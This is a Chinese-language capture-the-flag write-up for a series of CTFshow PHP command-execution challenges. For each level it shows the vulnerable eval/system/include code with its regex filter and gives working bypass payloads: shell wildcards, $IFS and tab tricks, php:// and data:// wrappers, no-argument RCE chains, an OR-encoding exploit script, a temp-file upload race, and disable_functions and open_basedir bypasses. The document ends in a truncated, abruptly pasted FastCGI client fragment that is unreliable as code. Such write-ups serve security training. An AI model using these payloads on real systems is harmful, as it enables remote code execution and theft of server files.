本系列题目来源:CTFSHOW: https://ctf.show/challenges
想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,
故以 CTF 来练习。
命令执行,需要严格的过滤
源码:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match — 执行匹配正则表达式
题目限制了不能出现.
构造页面回显:
flag.php index.php
绕过 flag ,通配符绕过。
linux 中有一些通配符。
代表任意字符 0个或多个
代表任意字符 1 个
匹配abcd中一个字符
匹配范围 a-z
还可以这样绕过
fla\g.php
fla''g.php
payload :
?c=system('cat *');
?c=system('cat fl?g.php');
?c=system('cat f[a-z]ag.php');
执行 payload 后源代码中有显示。
另一种解法:
eval — 把字符串作为PHP代码执行
传入看到有flag.php ,利用文件包含。
构造:
?c=echo "hello";?><?php include($_GET['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64 字符串,解码得到
<?php
?
$flag='flag{73c6fd37-47f1-47a4-a9a3-df83ae757139}';
?
命令执行,需要严格的过滤
代码:
<?php
?
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在上一题的基础上增加了过滤。、、
但是我们依然可以用到其他函数进行代替。
system()
passthru() ? # passthru — 执行外部程序并且显示原始输出
exec() ? ? ? # exec — 执行一个外部程序 ?
shell_exec() # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示
?c=echo passthru("cat f*");
?c=echo `cat f*`;
或者
?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
题目wp:
echo `nl fl''ag.p''hp`;
命令执行,需要严格的过滤
源码:
<?php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file paste 指令会把每个文件以列对列的方式,一列列地加以合并。
{$IFS} $IFS$9 > < <> 重定向符 %09(需要php环境) {cat,flag.php} //用逗号实现了空格功能 %20 https://blog.csdn.net/whuslei/article/details/7187639
payload:
?c=echo(`tac%09f*`);
解法二:
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
官方
show_source(next(array_reverse(scandir(pos(localeconv())))));
<?php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
又增加过滤了 反引号、括号,echo。
include require include_once require_once
payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
源码:
<?php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
多过滤了一个双引号,
直接用上一题的 payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
源码:
<?php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤多了一个冒号,也是上一关payload 。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
<?php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
多过滤了、。没啥用,直接打
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
<?php
?
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|"|\<|\=|/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了,继续打。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
<?php
?
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo$flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag ,又是 include 文件包含
利用伪协议读flag
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
payload:
/?c=data://text/plain,<?php system(ls); # https://www.php.net/manual/zh/wrappers.data.php ?c=data://text/plain,<?php system('cat f*');
<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
同样使用data协议。
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
payload:
?c=data://text/plain,<?php system('cat *');?>
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|/|\?|\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了引号、$、冒号,还不能用伪协议。
一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)。
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。
详情看这里:
payload:
c=readfile(next(array_reverse(scandir(getcwd())))); # 多刷新几次 c=readfile(array_rand(array_flip(scandir(getcwd())))); readfile(array_rand(array_flip(scandir(current(localeconve()))))); wp: c=session_start();system(session_id()); passid=ls
<?php if(isset($_POST['c'])){ $c=$_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
这个题过滤了使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符。我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
<?php $myfile=fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b." "; } } } } fwrite($myfile,$contents); fclose($myfile);
大体意思就是传递参数getflag用法
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(""+s1+""|""+s2+"")" return(output) while True: param=action(input(" [+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print(" [*] result: "+r.text)
https://blog.csdn.net/miuzzx/article/details/108569080
<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
payload:
c=ls; c=cat flag.php;
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤分号和使用 换行符
?c=ls%0a ?c=tac flag.php%0a
说一下为啥函数要用的分号或者截断,因为不用的话输入的语句就和后边的拼接起来了。最后不关输入啥都会把结果输出到。
详情看这里: https://www.cnblogs.com/520playboy/p/6275022.html
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤、、
结合前面的,直接:
?c=tac f*%0a
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了个空格。
payload:
?c=tac%09f*%0a ?c=tac$IFS\f*%0A # 这里 f 前面不加 反斜杠的话就出不来,可能是会被前面的解析到一起吧。 ?c=more${IFS}f*%0a
IFS: https://www.xuebuyuan.com/3197835.html
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了数字、$ 、*
意味着不能用shell中变量了。
payload:
?c=tac%09fla?.php%0a nl<fla''g.php|| ?c=tac<fla\g.php||
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了 more 、less 、 head 、sort 、tail 。
但是 tac 、od 、uniq 等没被过滤
od 读文件 https://www.cnblogs.com/wfwenchao/p/5188720.html
payload:
?c=tac%09fla?.php%0a ?c=nl%09fla?.php%0a ?c=nl<fla''g.php||
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了一些读取函数。
payload:
?c=tac%09fla?.php%0a ?c=tac<fla''g.php%0a
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤反引号。
payload 同上关一样。
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤、、
?c=tac<fla''g.php%0a ?c=tac<>fla\g.php%0a
<?php
?
sset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这回额外过滤了,但是我们还可以用
?c=nl<fla\g.php%0a
<?php
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?
额外过滤了 重定向符,但是这里没过滤
去查得到得到了一个假的flag.
查询根目录有啥文件
?c=ls${IFS}/%0a # bin dev etc flag home lib media mnt opt proc root run *** in srv sys tmp usr var ?c=nl${IFS}/fla''g%0a
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d=system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
也没多过滤啥。。
得到
ls flag.php index.php readflag readflag
payload:
?c=ls%0a ?c=nl<fla''g.php%0a
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
多过滤了一些查看文件指令。
payload:
?c=paste${IFS}fla?.php%0a ?c=/bin/?at${IFS}f?ag.php%0a ?c=/bin/?at${IFS}f?
<?php // 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
直接过滤了所有小写字母!!!。
那么这里肯定是要无字符 rce 。
但是这里没有过滤通配符,所以可以找到一个带有数字的命令,利用通配符执行命令。
有个命令是,我们可以据此构造
?c=/?/64
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=
解码即得到flag.
bzip2
bzip2 是 linux 下面的压缩文件的命令。在
构造
?C=/?/?/2
然后访问下载即可获得 flag.php
临时文件上传
https://www.gem-love.com/websecurity/1407.html
https://blog.csdn.net/qq_46091464/article/details/108557067
<?php // 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
多过滤数字,所以用不了上题的前两种 *** 。这里只能详细写一下上题的第三种 *** 了。
我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配).
我们需要构造一个post上传文件的数据包。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
抓包,构造
<?php // 还能炫的动吗? //flag in 36.php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
这里只需要构造 传参 36 即可,但是数字字符都被ban了。
paylaod
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))
linux echo 一下是 36.
<?php // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
post构造结果
Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
system 函数被 ban了
Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
构造.得到
Array ( [0]=> . [1]=> .. [2]=> flag.php [3]=> index.php )
payload:
c=readfile('flag.php');
<?php // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
同上关但是,
Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
尝试其他读取文件函数
c=show_source('flag.php');
<?php // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
payload:
同58一样
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?
用以前 ***
?
Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
?
结果
$flag="秀秀得了,这次不在这里";
返回
Array ( [0]=> . [1]=> .. [2]=> .dockerenv [3]=> bin [4]=> dev [5]=> etc [6]=> flag.txt [7]=> home [8]=> lib [9]=> media [10]=> mnt [11]=> opt [12]=> proc [13]=> root [14]=> run [15]=> *** in [16]=> srv [17]=> sys [18]=> tmp [19]=> usr [20]=> var )
有个flag.txt ,构造 payload:
c=highlight_file('/flag.txt');
<?php // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
找目录,发现
Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
用
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }
又是假的。
最终
c=highlight_file('/flag.txt');
打开题目直接
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
说明函数被禁用了。
得到
array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) " *** in" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }
有个
、、被禁用了.
读取不了,但是我们还可以直接文件包含。
payload:
c=include('/flag.txt');
同样是
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
var_dump 也被禁用
Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
var_export — 输出或返回一个变量的字符串表示
用得到
array ( 0=> '.', 1=> '..', 2=> '.dockerenv', 3=> 'bin', 4=> 'dev', 5=> 'etc', 6=> 'flag.txt', 7=> 'home', 8=> 'lib', 9=> 'media', 10=> 'mnt', 11=> 'opt', 12=> 'proc', 13=> 'root', 14=> 'run', 15=> ' *** in', 16=> 'srv', 17=> 'sys', 18=> 'tmp', 19=> 'usr', 20=> 'var', )
payload:
c=var_export(scandir('/'));`
c=include('/flag.txt');
直接:
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
?
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
?
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?
payload:
c=var_export(scandir('/'));
c=include('/flag.txt');
?
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
?
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
?
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?
得到
?: ?_?() ? ? ? /?/?//?.? ?: ?_?() ? ? ? /?/?//?.? ? ( ?=> '.', ?=> '..', ?=> '.?', ?=> '?', ?=> '?', ?=> '?', ?=> '.?', ?=> '', ?=> '?', ?=> '?', => '?', => '?', => '', => '', => '?', => '', => '?', => '?', => '?', => '?', => '?', ) 你要上天吗?
......发现有个附件,下载打开:
<?php
?
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?
?>
?
你要上天吗?
代码把输出的字母数字都转换为问号.
我们可以是服务端执行完我们的恶意 payload 后就停止运行 php 程序。
所以可以使得后边的代码停止执行,从而不会被正则替换。
payload:
c=var_export(scandir('/'));exit(0);
c=include('/flag.txt');exit(0);
下载附件:
<?php
?
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?
?>
?
你要上天吗?
执行没内容打印。
有进行读取根目录文件,但是被 open_basedir限制.
进行绕过。
c=$it=newDirectoryIterator("glob://
. chr( $type )
. chr( ( $requestId >> 8 ) & 0xFF )
. chr( $requestId & 0xFF )
. chr( ( $clen >> 8 ) & 0xFF )
. chr( $clen & 0xFF )
. chr( 0 )
. chr( 0 )
. $content;
}
private function buildNvpair( $name, $value ) {
$nlen=strlen( $name );
$vlen=strlen( $value );
if ( $nlen < 128 ) {
$nvpair=chr( $nlen );
} else {
$nvpair=chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
}
if ( $vlen < 128 ) {
$nvpair .=chr( $vlen );
} else {
$nvpair .=chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
}
return $nvpair . $name . $value;
}
private function readNvpair( $data, $length=null ) {
$array=array();
if ( $length===null ) {
$length=strlen( $data );
}
$p=0;
while ( $p !=$length ) {
$nlen=ord( $data{$p ++} );
if ( $nlen >=128 ) {
$nlen=( $nlen & 0x7F << 24 );
$nlen |=( ord( $data{$p ++} ) << 16 );
$nlen |=( ord( $data{$p ++} ) << 8 );
$nlen |=( ord( $data{$p ++} ) );
}
$vlen=ord( $data{$p ++} );
if ( $vlen >=128 ) {
$vlen=( $nlen & 0x7F << 24 );
$vlen |=( ord( $data{$p ++} ) << 16 );
$vlen |=( ord( $data{$p ++} ) << 8 );
$vlen |=( ord( $data{$p ++} ) );
}
$array[ substr( $data, $p, $nlen ) ]=substr( $data, $p + $nlen, $vlen );
$p +=( $nlen + $vlen );
}
return $array;
}
private function decodePacketHeader( $data ) {
$ret =array();
$ret['version']=ord( $data{0} );
$ret['type']=ord( $data{1} );
$ret['requestId']=( ord( $data{2} ) << 8 ) + ord( $data{3} );
$ret['contentLength']=( ord( $data{4} ) << 8 ) + ord( $data{5} );
$ret['paddingLength']=ord( $data{6} );
$ret['reserved']=ord( $data{7} );
return $ret;
}
private function readPacket() {
if ( $packet=fread( $this->_sock, self::HEADER_LEN ) ) {
$resp =$this->decodePacketHeader( $packet );
$resp['content']='';
if ( $resp['contentLength'] ) {
$len=$resp['contentLength'];
while ( $len && ( $buf=fread( $this->_sock, $len ) ) !==false ) {
$len -=strlen( $buf );
$resp['content'] .=$buf;
}
}
if ( $resp['paddingLength'] ) {
$buf=fread( $this->_sock, $resp['paddingLength'] );
}
return $resp;
} else {
return false;
}
}
public function getValues( array $requestedInfo ) {
$this->connect();
$request='';
foreach ( $requestedInfo as $info ) {
$request .=$this->buildNvpair( $info, '' );
}
fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
$resp=$this->readPacket();
if ( $resp['type']==self::GET_VALUES_RESULT ) {
return $this->readNvpair( $resp['content'], $resp['length'] );
} else {
throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
}
}
public function request( array $params, $stdin ) {
$id=$this->async_request( $params, $stdin );
return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id=mt_rand( 1, ( 1 << 16 ) - 1 );
// Using persistent sockets implies you want them keept alive by server!
$keepAlive=intval( $this->_keepAlive || $this->_persistentSocket );
$request=$this->buildPacket( self::BEGIN_REQUEST
, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
, $id
);
$paramsRequest='';
foreach ( $params as $key=> $value ) {
$paramsRequest .=$this->buildNvpair( $key, $value, $id );
}
if ( $paramsRequest ) {
$request .=$this->buildPacket( self::PARAMS, $paramsRequest, $id );
}
$request .=$this->buildPacket( self::PARAMS, '', $id );
if ( $stdin ) {
$request .=$this->buildPacket( self::STDIN, $stdin, $id );
}
$request .=$this->buildPacket( self::STDIN, '', $id );
if ( fwrite( $this->_sock, $request )===false || fflush( $this->_sock )===false ) {
$info=stream_get_meta_data( $this->_sock );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Write timed out' );
}
// Broken pipe, tear down so future requests might succeed
fclose( $this->_sock );
throw new Exception( 'Failed to write request to socket' );
}
$this->_requests[ $id ]=array(
'state'=> self::REQ_STATE_WRITTEN,
'response'=> null
);
return $id;
}
public function wait_for_response( $requestId, $timeoutMs=0 ) {
if ( ! isset( $this->_requests[ $requestId ] ) ) {
throw new Exception( 'Invalid request id given' );
}
if ( $this->_requests[ $requestId ]['state']==self::REQ_STATE_OK
|| $this->_requests[ $requestId ]['state']==self::REQ_STATE_ERR
) {
return $this->_requests[ $requestId ]['response'];
}
if ( $timeoutMs > 0 ) {
// Reset timeout on socket for now
$this->set_ms_timeout( $timeoutMs );
} else {
$timeoutMs=$this->_readWriteTimeout;
}
$startTime=microtime( true );
do {
$resp=$this->readPacket();
if ( $resp['type']==self::STDOUT || $resp['type']==self::STDERR ) {
if ( $resp['type']==self::STDERR ) {
$this->_requests[ $resp['requestId'] ]['state']=self::REQ_STATE_ERR;
}
$this->_requests[ $resp['requestId'] ]['response'] .=$resp['content'];
}
if ( $resp['type']==self::END_REQUEST ) {
$this->_requests[ $resp['requestId'] ]['state']=self::REQ_STATE_OK;
if ( $resp['requestId']==$requestId ) {
break;
}
}
if ( microtime( true ) - $startTime >=( $timeoutMs * 1000 ) ) {
// Reset
$this->set_ms_timeout( $this->_readWriteTimeout );
throw new Exception( 'Timed out' );
}
} while ( $resp );
if ( ! is_array( $resp ) ) {
$info=stream_get_meta_data( $this->_sock );
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout( $this->_readWriteTimeout );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Read timed out' );
}
if ( $info['unread_bytes']==0
&& $info['blocked']
&& $info['eof'] ) {
throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
}
throw new Exception( 'Read failed' );
}
// Reset timeout
$this->set_ms_timeout( $this->_readWriteTimeout );
switch ( ord( $resp['content']{4} ) ) {
case self::CANT_MPX_CONN:
throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
break;
case self::OVERLOADED:
throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
break;
case self::UNKNOWN_ROLE:
throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
break;
case self::REQUEST_COMPLETE:
return $this->_requests[ $requestId ]['response'];
}
}
}
$client=new Client("unix:///tmp/php-cgi-74.sock", -1);
$php_value="open_basedir=/";
$filepath='/tmp/readflag.php';
$content='hpdoger';
echo $client->request(
array(
'GATEWAY_INTERFACE'=> 'FastCGI/1.0',
'REQUEST_METHOD'=> 'POST',
'SCRIPT_FILENAME'=> $filepath,
'SERVER_SOFTWARE'=> 'php/fcgiclient',
'REMOTE_ADDR'=> '127.0.0.1',
'REMOTE_PORT'=> '9985',
'SERVER_ADDR'=> '127.0.0.1',
'SERVER_PORT'=> '80',
